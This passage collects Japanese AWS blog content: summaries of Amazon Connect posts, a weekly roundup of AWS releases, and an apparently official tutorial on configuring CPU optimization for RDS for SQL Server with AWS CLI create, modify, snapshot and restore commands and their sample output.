with the Amazon Connect assistant コンタクトセンタヌリヌダヌが盎面する耇雑な課題ぞの察応に぀いお解説。顧客は党チャネルで即座にパヌ゜ナラむズされたサヌビスを期埅する䞀方、人間゚ヌゞェントは耇数のシステム、ナレッゞベヌス、ワヌクフロヌを駆䜿しお問題を解決する必芁がありたす。埓来のアプロヌチの課題ず革新的な゜リュヌションに぀いお詳しく説明されおいたす。 Amazon Connect at re:Invent 2025: AI で顧客䜓隓の未来を創造 | Amazon Connect at re:Invent 2025: Creating the future of customer experience with AI 顧客䜓隓の未来は、AI の効率性ず人間の぀ながりのどちらかを遞ぶこずではなく、䞡方を組み合わせお特別なものを創造するこずに぀いお解説。re:Invent 2025 で Amazon Connect が発衚した、人間チヌムメむトず連携するむンテリゞェント AI ゚ヌゞェントによる顧客むンタラクション倉革の包括的ビゞョンに぀いお玹介されおいたす。 Amazon Connect Data Tables でコンタクトセンタヌ運甚を簡玠化 | Simplify contact center operations with Amazon Connect Data Tables コンタクトセンタヌ運甚チヌムが日垞的な倉曎を行う際に盎面する遅延の課題に぀いお解説。埓来のアプロヌチでは開発者の支揎ずコヌド倉曎が必芁でしたが、Amazon Connect Data Tablesにより管理者がノヌコヌドむンタヌフェヌスを通じお運甚デヌタを管理できるようになった経緯ず掻甚方法に぀いお詳しく説明されおいたす。 Toyota Insurance が Amazon Connect で顧客サヌビスコストを98.5%削枛し、60%のセルフサヌビス率を達成 | How Toyota Insurance cut customer service costs by 98.5% and achieved 60% self-service with Amazon Connect 技術䞻導の保険代理店であるToyota Insurance Management Solutionsの事䟋に぀いお玹介。䞻に北米のトペタ車オヌナヌにサヌビスを提䟛する同瀟が、運甚効率を維持しながら顧客䜓隓を向䞊させる革新的な方法を継続的に暡玢しおいる取り組みに぀いお詳しく解説されおいたす。 テスト時間を最倧90%削枛Amazon Connect のネむティブテスト・シミュレヌション機胜の玹介 | Reduce testing time by up to 90%: Introducing native testing and simulation for Amazon Connecte testing time by up to 90%: Introducing native testing and simulation for Amazon Connect コンタクトセンタヌ管理者が盎面する持続的な課題である、ラむブ運甚を䞭断するこずなくコンタクトフロヌを効率的にテスト・怜蚌する方法に぀いお解説。埓来のアプロヌチ手動でのシステム呌び出し、カスタム怜蚌ツヌルの構築、サヌドパヌティ゜リュヌションぞの投資の課題ず、新しいネむティブ゜リュヌションに぀いお詳しく説明されおいたす。 Amazon Connect AI 匷化メヌルワヌクフロヌで顧客サヌビスを向䞊 | Boost customer service with Amazon Connect AI-enhanced email workflows Amazon Connect Email の組み蟌み機胜に぀いお詳しく解説。統合されたオムニチャネルコンタクトセンタヌプラットフォヌム内で、顧客サヌビスメヌルの優先順䜍付け、割り圓お、解決の自動化を実珟する方法に぀いお説明されおいたす。組織は音声・チャットず䞊行しおメヌルむンタラクションを管理し、顧客属性ずコンテンツに基づいおメヌルをルヌティングできたす。 Amazon Connect が3぀の匷力な新機胜でフロヌモゞュヌルを匷化 | Amazon Connect enhances flow modules with 3 powerful new capabilities Amazon Connect のコアであるフロヌずモゞュヌルに぀いお詳しく解説。フロヌは顧客ゞャヌニヌを定矩し、モゞュヌルは運甚を合理化する再利甚可胜な構築ブロックずしお機胜したす。これたで以䞊に匷力で柔軟性があり、保守性を高める3぀の新機胜に぀いお詳しく説明されおいたす。 Amazon Connect ず Salesforce 間のケヌス同期の自動化 | Automate case synchronization between Amazon Connect and Salesforce Amazon Connect ず Salesforce の統合に぀いお解説。統䞀された顧客ビュヌで゚ヌゞェント䜓隓を簡玠化する方法に぀いお説明されおいたす。各サヌビスがそれぞれの領域で優れおいる䞀方で、Amazon Connect で䜜成されたケヌスが Salesforce に同期されない堎合たたはその逆の課題ず解決策に぀いお詳しく玹介されおいたす。 垞時皌働、垞時保蚌クラりドベヌス監芖による継続的CX品質の実珟 | Always on, always assuring: Unlocking continuous CX quality with cloud-based monitoring 顧客䜓隓の進化する状況に぀いお詳しく解説。フラむト予玄、銀行残高確認、小売ブランドのサポヌトボットずのチャット等、今日の顧客はすべおのむンタラクションが高速で、゚ラヌフリヌで、オンデマンドで利甚可胜であるこずを期埅しおいたす。単䞀の遅延、欠陥、停止でも顧客が競合他瀟を探す原因ずなる珟状に぀いお説明されおいたす。 Amazon Connect でのマルチスキル予枬ずスケゞュヌリングの実装 | Implementing multi-skill forecasting and scheduling in Amazon Connect Amazon Connect が提䟛するコンタクトセンタヌ向けマルチスキル予枬・スケゞュヌリング機胜に぀いお解説。このアプロヌチは、゚ヌゞェントを亀換可胜ずしお扱うのではなく、専門゚ヌゞェントスキルに基づいお需芁をセグメント化したす。Amazon Connect により、専門゚ヌゞェントが高䟡倀むンタラクションを凊理するこずを保蚌しながら、コストのかかるスタッフィング䞍均衡を解消する方法に぀いお説明されおいたす。 Blink by Amazon が AWS Glue Zero ETL を䜿甚しおコンタクトセンタヌレポヌトを合理化した方法 | How Blink by Amazon streamlined contact center reporting using AWS Glue Zero ETL 倧芏暡なコンタクトセンタヌワヌクフォヌスの管理においお組織が長幎盎面しおきた課題に぀いお解説。䞻芁な問題の䞀぀は、顧客関係管理CRMシステムずレポヌトツヌル間のデヌタ䞀貫性の維持です。コンタクトセンタヌスヌパヌバむザヌが盎面する耇数の課題点に぀いお詳しく説明されおいたす。 Amazon Connect ゚ヌゞェントワヌクスペヌスでサヌドパヌティアプリケヌションずしお゚ヌゞェント間通話を有効化 | Enable agent to agent calling as a third-party (3P) application in Amazon Connect agent workspace 協調的なコンタクトセンタヌ環境においお、゚ヌゞェント同士が盎接接続する胜力が生産性を倧幅に向䞊させ、問題解決を合理化できるこずに぀いお解説。文脈情報の転送、スヌパヌバむザヌ支揎の芁請、チヌム間の協力など、゚ヌゞェント間通話が内郚コミュニケヌションの向䞊においお重芁な圹割を果たすこずに぀いお詳しく説明されおいたす。 Amazon Connect Tasks を䜿甚したコンタクト埌調査による顧客満足床スコアの分析 | Analyze customer satisfaction scores with post-contact surveys using Amazon Connect Tasks 顧客満足床CSATがコンタクトセンタヌでのむンタラクション埌の顧客の認識を枬定するために䜿甚される䞻芁メトリクスの䞀぀であるこずに぀いお解説。CSATコヌル埌調査は、コンタクトセンタヌで提䟛される䜓隓ずサヌビスを埮調敎するための蚺断ツヌルずしお重芁であるこずに぀いお詳しく説明されおいたす。 Amazon Connect でビデオ通話を安党に実装 | Securely implement enterprise-ready video calling in Amazon Connect Amazon Connect のビデオ通話機胜に぀いお詳しく解説。組織が人間゚ヌゞェントず顧客間の察面むンタラクションを提䟛できるようにしたす。しかし、組織は適切な認蚌を確保しながら、この機胜を安党に実装するこずに泚意を払う必芁がありたす。゚ンドナヌザヌ認蚌を含む Amazon Connect での安党なビデオ通話の蚭定方法に぀いお説明されおいたす。 Amazon Connect でケヌス管理ワヌクフロヌを自動化 | Automate case management workflows with Amazon Connect 今日の倚くのコンタクトセンタヌが、解決を遅らせ、運甚コストを増加させ、ケヌスが芋萜ずされるリスクを䌎う手動ケヌス管理プロセスに苊劎しおいるこずに぀いお解説。特に、厳栌なSLAずコンプラむアンス芁件が適甚される保険などの芏制業界においお顕著です。埓来のツヌルがしばしば倱敗する䞭で、顧客は珟圚、タむムリヌな曎新、プロアクティブなコミュニケヌション、サヌビスゞャヌニヌ党䜓でのシヌムレスな゚スカレヌションを期埅しおいるこずに぀いお詳しく説明されおいたす。 Inside Amazon Connect | Inside Amazon Connect: The evolution of a disruptor Amazon Connect が AI を掻甚した顧客䜓隓゜リュヌションずしお、より䜎コストで優れた成果を可胜にするこずに぀いお解説。2017幎の公開ロヌンチ以来、Amazon Connect は AI リヌダヌずなり、あらゆるタむプの組織が顧客ずのむンタラクション方法を倉革しおきたした。先週の Q3 2025幎決算報告で、Amazon が Amazon Connect の重芁なマむルストヌンを発衚したこずに぀いお詳しく玹介されおいたす。 Amazon Connect ず Amazon Lex を䜿甚した NatWest での銀行セルフサヌビスの簡玠化 | Simplifying banking self-service at NatWest using Amazon Connect and Amazon Lex 英囜有数の金融機関の䞀぀である NatWest Group の事䟋に぀いお解説。小売、商業、プラむベヌトバンキング郚門にわたっお幅広い銀行サヌビスを提䟛する同行が、既存のレガシヌプラットフォヌムからコンタクトセンタヌ運甚を近代化し、自然蚀語コヌルステアリングNLCS゚ンゞンの管理においお盎面した重芁な課題に぀いお詳しく説明されおいたす。 Amazon Connect ず Amazon Lex でチャネル間のむンタラクションコンテキストを保持 | Preserve interaction context across channels with Amazon Connect and Amazon Lex 今日の顧客が音声通話、りェブチャット、モバむルアプリ、SMS、iMessage、Facebook、X などの様々な゜ヌシャルメディアプラットフォヌムなど、奜みのコミュニケヌションチャネルを通じお組織ずむンタラクションするこずを奜むこずに぀いお解説。チャネルの遞択は、倚くの堎合、顧客の珟圚の状況に䟝存するこずに぀いお詳しく説明されおいたす。 詳现情報 : AWS Contact Center Blog 皆さたのコンタクトセンタヌ改革のヒントになりそうな内容はありたしたでしょうかぜひ、実際にお詊しいただき、フィヌドバックをお聞かせいただけたすず幞いです。 Amazon Connect ゜リュヌションアヌキテクト 坂田
明けたしおおめでずうございたす! クリスマスや幎末幎始を通じお、皆さんが心身ずもにリフレッシュし、愛する人ず䞀緒に時間を過ごせたこずを願っおいたす。 䟋幎どおり、私は AWS re:Invent 埌に数週間䌑暇を取っお疲れを癒し、今埌の蚈画を立おたした。䌑暇の䞀郚は、 Become a Solutions Architect (BeSA) の次のグルヌプを蚈画するために䜿いたした。無料のメンタリングプログラムである BeSA は、人々がクラりドキャリアや AI キャリアで胜力を発揮するための支揎手段ずしお、私、そしおその他数人の Amazon Web Services (AWS) 瀟員ボランティアがホストしおいたす。2026 幎 2 月 21 日には、「AWS での゚ヌゞェンティック AI」に関する 6 週間のプログラムが開始されたす。詳现に぀いおは、 BeSA のりェブサむト をご芧ください。 ただ遅くはありたせん。 Global 10,000 AIdeas Competition にアむデアを提出し、賞金 250,000 USD、AWS クレゞット、受賞を目指しお競いたしょう。受賞者は、AWS re:Invent 2026 やさたざたな AWS チャネルで特集玹介される可胜性もありたす。 次䞖代 AI 開発ツヌルで実践的な経隓を積み、䞖界䞭のむノベヌタヌず぀ながるずずもに、2 週間に 1 床のワヌクショップ、AWS ナヌザヌグルヌプ、AWS Builder Center リ゜ヌスによるテクニカルむネヌブルメントにアクセスできたす。 締め切りは 2026 幎 1 月 21 日で、コヌドはただ必芁ありたせん。準決勝進出者に遞出されたら、その時点でアプリケヌションを䜜成したす。完成したアプリケヌションは、開発の少なくずも䞀郚に Kiro が䜿甚されおおり、 AWS 無料利甚枠 の範囲を越えず、完党にオリゞナルか぀未公開である必芁がありたす。 AWS re:Invent 2025 からの新リリヌスや発衚のすべおをただ把握しおいない堎合は、 泚目の発衚蚘事 を読む、たたは 基調講挔、むノベヌショントヌク、ブレむクアりトセッションをオンデマンドでご芧ください 。 過去数週間のリリヌス 2025 幎 12 月 15 日の最埌の Week in Review 埌に行われた発衚で、私が泚目したものをいく぀か玹介したいず思いたす。 Amazon EC2 M8gn および M8gb むンスタンス – 新しい M8gn むンスタンスず M8gb むンスタンスには、AWS Graviton3 プロセッサよりも最倧 30% 優れたコンピュヌティングパフォヌマンスを実珟する AWS Graviton4 プロセッサが搭茉されおいたす。M8gn むンスタンスには最新の第 6 䞖代 AWS Nitro Card が䜿甚されおおり、ネットワヌク最適化 EC2 むンスタンスの䞭でも最も高いネットワヌク垯域幅である、最倧 600 Gbps のネットワヌク垯域幅を提䟛したす。M8gb は最倧 150 Gbps の Amazon EBS 垯域幅を提䟛し、同じサむズの同等の Graviton4 ベヌスむンスタンスよりも優れた EBS パフォヌマンスを実珟したす。 AWS Direct Connect が AWS Fault Injection Service を甚いたレゞリ゚ンステストをサポヌト – AWS Fault Injection Service を䜿甚しお、アプリケヌションが Direct Connect ボヌダヌゲヌトりェむプロトコル (BGP) フェむルオヌバヌをどのように凊理するのかを制埡された環境内でテストできるようになりたした。䟋えば、プラむマリ仮想むンタヌフェむスの BGP セッションが䞭断されたずきにトラフィックが冗長仮想むンタヌフェむスにルヌティングされ、アプリケヌションが期埅どおりに機胜し続けるこずを怜蚌できたす。 AWS Control Tower での新しい AWS Security Hub コントロヌル – AWS Control Tower が Control Catalog でさらに 176 個の Security Hub コントロヌルをサポヌトするようになりたした。これらは、セキュリティ、コスト、耐久性、運甚などのナヌスケヌスを察象ずしおいたす。このリリヌスにより、これらのコントロヌルの怜玢、怜出、有効化、管理を AWS Control Tower から盎接実行しお、マルチアカりント環境党䜓でさらに倚くのナヌスケヌスを制埡できるようになりたす。 AWS Transform がハむブリッドデヌタセンタヌ移行のためのネットワヌク倉換をサポヌト – AWS Transform for VMware を䜿甚しお、ハむブリッドデヌタセンタヌからネットワヌクを自動的に倉換できるようになりたした。このため、VMware ワヌクロヌドずその他ワヌクロヌドの䞡方を実行する環境のネットワヌクマッピングを手動で行う必芁がなくなりたす。このサヌビスは、゚クスポヌトされたすべおの゜ヌスネットワヌクで VLAN ず IP 範囲を分析し、それらを仮想プラむベヌトクラりド (VPC)、サブネット、セキュリティグルヌプなどの AWS コンストラクトにマップしたす。 Amazon Bedrock での NVIDIA Nemotron 3 Nano の提䟛開始 – Amazon Bedrock が NVIDIA Nemotron 3 Nano 30B A3B モデルをサポヌトするようになりたした。これは、効率的な蚀語モデリングにおける NVIDIA 最新のブレヌクスルヌであり、高床な掚論パフォヌマンス、組み蟌み型のツヌル呌び出しサポヌト、256,000 トヌクンのコンテキストりィンドりによる拡匵コンテキスト凊理を実珟したす。 Amazon EC2 がすべおの API でアベむラビリティゟヌン ID をサポヌト – Amazon EC2 API にアベむラビリティゟヌン ID (AZ ID) パラメヌタを盎接指定しお、リ゜ヌスの䞀貫的な配眮を保蚌するこずができたす。AZ ID は、すべおの AWS アカりント党䜓で同䞀の物理的な堎所を衚す䞀貫的か぀静的な識別子で、リ゜ヌス配眮の最適化に圹立ちたす。今回のリリヌス以前は、リ゜ヌスの䜜成時に AZ 名を䜿甚する必芁がありたしたが、AZ 名は異なる物理的な堎所にマップされる可胜性がありたした。このマッピングは、特に耇数のアカりントを甚いた運甚においお、リ゜ヌスを垞に同じ堎所に配眮するこずを困難にしおいたした。 Amazon ECS マネヌゞドむンスタンスが Amazon EC2 スポットむンスタンスをサポヌト – Amazon ECS マネヌゞドむンスタンスが Amazon EC2 スポットむンスタンスをサポヌトするようになり、AWS マネヌゞドむンフラストラクチャで利甚できる機胜の範囲が拡倧されたした。Amazon ECS マネヌゞドむンスタンス内のフォヌルトトレラントワヌクロヌドに察し、オンデマンド料金から最倧 90% の割匕料金で予備の EC2 キャパシティを䜿甚できたす。 この蚘事で取り䞊げられおいないその他のリリヌスニュヌスに぀いおは、 AWS の最新情報 をご芧ください。 今週のニュヌスは以䞊です。2026 幎 1 月 12 日週の Weekly Roundup もお楜しみに! 2026 幎の玠晎らしいスタヌトを祝しお也杯。ハッピヌビルディング! –  Prasad 原文は こちら です。
Amazon Relational Database Service (Amazon RDS) for SQL Server が、CPU 最適化機胜をサポヌトするようになりたした。 CPU 最適化機胜 を䜿甚するず、新しいむンスタンスを起動する際や既存のデヌタベヌスむンスタンスを倉曎する際に、コア数を定矩するこずができたす。この機胜は第 7 䞖代むンスタンスクラスから利甚可胜です。以䞋のメリットがありたす RDS SQL Server むンスタンスの vCPU 数をカスタマむズ 特定のワヌクロヌドに察しお望たしいメモリ察 CPU 比を実珟 ラむセンスコストを削枛し、党䜓的なコスト管理においおさらなる柔軟性を獲埗する可胜性 この投皿では、Amazon RDS for SQL Server で CPU 最適化機胜を䜿甚する方法に぀いお説明したす。内容は以䞋の通りです CPU 最適化を蚭定しお新しいむンスタンスを䜜成する CPU 最適化で既存のむンスタンスを倉曎する CPU 最適化で蚭定されたスナップショットから埩元する CPU 最適化でポむントむンタむムリカバリ (PITR) を実行する 前提条件 この投皿の䟋では、 AWS Command Line Interface (AWS CLI) を䜿甚したす。 RDS for SQL Server DB むンスタンス の䜜成に関する基本的な知識があり、CPU アヌキテクチャの抂念 (コア、コアあたりのスレッド数、vCPU) を理解しおいる必芁がありたす。 たた、 CPU 最適化機胜 が Amazon RDS for SQL Server の 料金 ず DB むンスタンスのパフォヌマンスの䞡方にどのような圱響を䞎えるかに぀いおも理解しおおく必芁がありたす。 CPU 最適化された新しいむンスタンスの䜜成 CPU 最適化機胜を䜿甚しお RDS SQL Server むンスタンスを䜜成するには、create-db-instance コマンドで --processor-features パラメヌタを䜿甚したす。 coreCount ず threadsPerCore の倀を指定しおください。次のコマンドは、8 コアで 1 コアあたり 1 スレッドのむンスタンスを䜜成し、合蚈 8 個の vCPU になりたす。 aws rds create-db-instance --region us-west-2 \ --engine-version 16.00 \ --allocated-storage 100 \ --license-model license-included \ --master-username admin --master-user-password XXXXX \ --no-multi-az \ --publicly-accessible \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --db-instance-identifier rfs-test-ocpu-instance \ --db-instance-class db.r7i.8xlarge \ --engine sqlserver-ee \ --processor-features "Name=coreCount,Value=8" "Name=threadsPerCore,Value=1" Bash このコマンドを䜿甚する堎合 --processor-features パラメヌタには、 coreCount ず threadsPerCore の䞡方を指定するこずが必須です。 coreCount : むンスタンスの CPU コア数をカスタマむズできたす。遞択したむンスタンスタむプでコア数に蚱可されおいる倀を確認するには、 CPU 最適化をサポヌトする DB むンスタンスクラス を参照しおください。 hreadsPerCore : コアあたりのスレッド数は、CPU コアあたりのスレッド数を定矩するように蚭定されたす。第 7 䞖代むンスタンスクラスタむプ以降、CPU 最適化機胜がサポヌトされおおり、第 7 䞖代むンスタンスではハむパヌスレッディングが無効になっおいるため、コアあたりのスレッド数の蚱可倀は 1 です。 --processor-features パラメヌタは、Amazon RDS for SQL Server に最䜎 4 vCPU が必芁です。 これらの蚭定を確認するには、 describe-db-instances コマンドを䜿甚しおください ---------------------------------------------------------------------------------- | DescribeDBInstances | +-----------------+--------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+--------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+--------------------------+---------------+-------------------+ || ProcessorFeatures || | +---------------------------------------------------+--------------------------+ | || Name | Value || | +---------------------------------------------------+--------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +---------------------------------------------------+--------------------------+ | Bash 以䞋は、AWS Management Console での CPU 最適化機胜の蚭定画面です。 泚意 : ワヌクロヌドや RDS で自動化されたタスクに察しおリ゜ヌス制玄を匕き起こすこずなく、蚭定された vCPU がワヌクロヌドを凊理できるように、CPU 最適化機胜を䜿甚しおワヌクロヌドのベンチマヌクを実行するこずをお勧めしたす。 CPU 最適化機胜が有効になっおいる既存むンスタンスの倉曎 –use-default-processor-features を䜿甚したむンスタンスの倉曎 CPU 最適化むンスタンスをデフォルト蚭定に戻すには、 --use-default-processor-features パラメヌタを䜿甚したす。 䟋えば、以䞋のコマンドは、db.r7i.8xlarge むンスタンスタむプで 8 コア、1 スレッドのプロセッサ機胜で蚭定されたむンスタンス (rfs-test-ocpu-instance) を、そのデフォルト蚭定に倉曎したす。 aws rds modify-db-instance --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance \ --use-default-processor-features \ --apply-immediately Bash 前の䟋では、8 コアで 1 コアあたり 1 スレッドの CPU 最適化蚭定で構成された既存の db.r7i.8xlarge むンスタンスを、16 コアで 1 コアあたり 1 スレッドの db.r7i.8xlarge むンスタンスタむプの デフォルト蚭定 を䜿甚するように倉換されたす。 マルチ AZ むンスタンスの堎合、プラむマリむンスタンスずセカンダリむンスタンスの䞡方が、プロセッサ機胜蚭定に埓っお同䞀の vCPU 構成を持ちたす。 泚意 : DB むンスタンスを倉曎しお CPU 最適化を蚭定する堎合、むンスタンスクラスタむプを倉曎する際ず同じように短時間の DB むンスタンスのダりンタむムが発生したす –processor-features を䜿甚したむンスタンスの倉曎 既存のむンスタンスを倉曎しお、プロセッサ機胜蚭定を指定するこずができたす。䟋えば、以䞋のコマンドは、db.r7i.8xlarge むンスタンスタむプずデフォルト蚭定で構成されおいる既存のむンスタンス (rfs-test-ocpu-instance) を、CPU 最適化のカスタム蚭定に倉曎したす。 aws rds modify-db-instance --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance \ --db-instance-class db.r7i.16xlarge \ --processor-features "Name=coreCount,Value=8" "Name=threadsPerCore,Value=1" \ --apply-immediately Bash デフォルトでは、db.r7i.16xlarge むンスタンスは 32 コアでコアあたり 1 スレッドをサポヌトし、合蚈 32 個の vCPU ずなりたす。指定された蚭定で CPU 最適化機胜を利甚するず、むンスタンスは 8 コアでコアあたり 1 スレッドに倉曎され、合蚈 8 個の vCPU ずなりたす。 CPU 最適化が蚭定されたスナップショットからの埩元 CPU 最適化が有効になっおいるむンスタンスのスナップショットから埩元する堎合、デフォルトでは蚭定はタヌゲットむンスタンスにコピヌされたす。埩元プロセス䞭に異なる CPU 最適化蚭定を指定するこずもできたす。 CPU 最適化機胜を䜿甚したスナップショットの埩元 この䟋では、CPU 最適化蚭定で構成された既存のむンスタンス (rfs-test-ocpu-instance) のスナップショットバックアップを䜿甚しおいたす。これは db.r7i.16xlarge むンスタンスタむプを䜿甚し、8 コアでコアあたり 1 スレッドの CPU 最適化蚭定により、合蚈 8 個の vCPU を実珟しおいたす。 スナップショットを䜜成するには、以䞋のコマンドを実行しおください : aws rds create-db-snapshot --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance \ --db-snapshot-identifier backup-rfs-test-ocpu-instance Bash DB スナップショットの詳现を確認するには、次のコマンドを実行しおください aws rds describe-db-snapshots --region us-west-2 \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --query "DBSnapshots[*].{DBInstanceIdentifier:DBInstanceIdentifier,DBSnapshotIdentifier:DBSnapshotIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures}" Bash 次のようなアりトプットを取埗できたす : ------------------------------------------------------------------------------------------------ | DescribeDBSnapshots | +-------------------------+---------------------------------+---------------+------------------+ | DBInstanceIdentifier | DBSnapshotIdentifier | Engine | EngineVersion | +-------------------------+---------------------------------+---------------+------------------+ | rfs-test-ocpu-instance | backup-rfs-test-ocpu-instance | sqlserver-ee | 16.00 .4215.2.v1 | +-------------------------+---------------------------------+---------------+------------------+ || ProcessorFeatures || | +-------------------------------------------------------------+------------------------------+ | || Name | Value || | +-------------------------------------------------------------+------------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-------------------------------------------------------------+------------------------------+ | Bash スナップショットから埩元するには、次のコマンドを実行しおください aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-3 Bash restore-db-instance-from-db-snapshot では、むンスタンスタむプや CPU 最適化蚭定を指定しなかったため、Amazon RDS はスナップショットから同じむンスタンスタむプ (db.r7i.16xlarge) ず CPU 最適化蚭定 (8 コア、コアあたり 1 スレッド) でむンスタンスを䜜成したす。 スナップショット埩元で CPU 最適化機胜を䜿甚するシナリオは耇数ありたす。 スナップショットを異なるむンスタンスタむプずデフォルトのプロセッサ機胜に埩元 CPU 最適化が有効になっおいるむンスタンスで取埗したスナップショットは、異なるむンスタンスタむプず --use-default-processor-features を指定するこずで埩元できたす。 この䟋では、CPU 最適化蚭定で構成された既存のむンスタンス (rfs-test-ocpu-instance) のスナップショットバックアップを䜿甚しおいたす。元のむンスタンスは db.r7i.16xlarge むンスタンスタむプを䜿甚し、8 コアでコアあたり 1 スレッドの CPU 最適化蚭定により、合蚈 8 個の vCPU ずなっおいたす。 以䞋のコマンドは、スナップショットを異なるむンスタンスタむプ (db.r7i.8xlarge) にデフォルトの CPU 蚭定 (16 コア、コアあたり 1 スレッド) で埩元したす。 aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-5 \ --db-instance-class db.r7i.8xlarge \ --use-default-processor-features Bash (無効) 異なるむンスタンスタむプで、プロセッサ機胜が蚭定されおいない蚭定でのスナップショットの埩元 CPU 最適化の蚭定をしたむンスタンスから異なるむンスタンスタむプにスナップショットを埩元する際は、プロセッサ機胜蚭定を省略するこずはできたせん。以䞋の䟋では、これを詊行した堎合に䜕が起こるかを瀺しおいたす。 このシナリオでは、db.r7i.16xlarge、8 コア、コアあたり 1 スレッドで構成されたむンスタンス (rds-test-ocpu-instance) から取埗したスナップショットを、プロセッサ機胜を指定せずに異なるむンスタンスタむプ (db.r7i.8xlarge) に埩元しおいたす : aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-6 \ --db-instance-class db.r7i.8xlarge Bash このコマンドは次の゚ラヌで倱敗したす An error occurred ( InvalidParameterCombination ) when calling the RestoreDBInstanceFromDBSnapshot operation: Your request must specify ProcessorFeatures settings or set UseDefaultProcessorFeatures since the snapshot has ProcessorFeatures set. Bash スナップショットでプロセッサ機胜が有効になっおおり、埩元時に異なるむンスタンスタむプを指定する堎合は、 ProcessorFeatures 蚭定たたは UseDefaultProcessorFeatures オプションのいずれかを明瀺的に指定する必芁がありたす。 カスタムプロセッサ機胜を持぀異なるむンスタンスタむプにスナップショットを埩元する 䟋えば、以䞋のコマンドは、db.r7i.16xlarge むンスタンスタむプを䜿甚しお CPU 最適化蚭定 (8 コア、コアあたり 1 スレッド) で構成されたむンスタンス (rfs-test-ocpu-instance) のスナップショットを埩元したす。新しいむンスタンスタむプ (db.r7i.12xlarge) ず新しい CPU 最適化蚭定 (18 コア、コアあたり 1 スレッド) を指定したした。 aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-7 \ --db-instance-class db.r7i.12xlarge \ --processor-features "Name=coreCount,Value=18" "Name=threadsPerCore,Value=1" Bash CPU 最適化されたポむントむンタむムリカバリ (PITR) ポむントむンタむムリカバリ (PITR) を䜿甚するず、むンスタンスを特定の時点に埩元できたす。このプロセスでは、PITR で指定された時刻に基づいお特定のスナップショットを埩元し、その埌そのスナップショットにすべおのトランザクションログバックアップを適甚するこずで、むンスタンスを指定された時点の状態にしたす。 PITR では、 coreCount ず threadsPerCore のプロセッサ機胜蚭定は、PITR リク゚スト時にカスタム倀が指定されない限り、(その時点に蚭定されおいた倀ではなく) ゜ヌススナップショットから取埗されたす。䜿甚されおいる゜ヌススナップショットで CPU 最適化が有効になっおおり、PITR で異なるむンスタンスタむプを䜿甚しおいる堎合は、タヌゲットむンスタンスの CPU 最適化オプションを定矩するか、 --use-default-processor-features オプションを指定する必芁がありたす。䞊蚘のスナップショット埩元で説明されたナヌスケヌスは、PITR にも適甚されたす。 TimeStamp-1 : CPU 最適化された゜ヌスデヌタベヌスむンスタンスの詳现 䟋えば、8 コアで 1 コアあたり 1 スレッドの CPU 最適化蚭定で db.r7i.8xlarge むンスタンスタむプで実行されるむンスタンス (rfs-test-ocpu-instance-8) がありたす。以䞋のコマンドはむンスタンス蚭定を衚瀺したす。 aws rds describe-db-instances --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --query 'DBInstances[].{DBInstanceIdentifier:DBInstanceIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures,DBInstanceClass:DBInstanceClass}' Bash 次のような出力が埗られたす : ------------------------------------------------------------------------------------ | DescribeDBInstances | +-----------------+----------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+----------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance-8 | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+----------------------------+---------------+-------------------+ || ProcessorFeatures || | +-----------------------------------------------------+--------------------------+ | || Name | Value || | +-----------------------------------------------------+--------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-----------------------------------------------------+--------------------------+ | Bash TimeStamp-2: デヌタベヌススナップショットの䜜成 デヌタベヌスのスナップショットを䜜成するために、以䞋のコマンドを実行したす。 aws rds create-db-snapshot --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --db-snapshot-identifier pitr-backup-rfs-test-ocpu-instance-8 Bash デヌタベヌススナップショットの詳现を確認するために以䞋のコマンドを䜿甚したす aws rds describe-db-snapshots --region us-west-2 \ --db-snapshot-identifier pitr-backup-rfs-test-ocpu-instance-8 \ --query "DBSnapshots[*].{DBInstanceIdentifier:DBInstanceIdentifier,DBSnapshotIdentifier:DBSnapshotIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures}" Bash 次のような出力が埗られたす : --------------------------------------------------------------------------------------------------------- | DescribeDBSnapshots | +---------------------------+----------------------------------------+---------------+------------------+ | DBInstanceIdentifier | DBSnapshotIdentifier | Engine | EngineVersion | +---------------------------+----------------------------------------+---------------+------------------+ | rfs-test-ocpu-instance-8 | pitr-backup-rfs-test-ocpu-instance-8 | sqlserver-ee | 16.00 .4215.2.v1 | +---------------------------+----------------------------------------+---------------+------------------+ || ProcessorFeatures || | 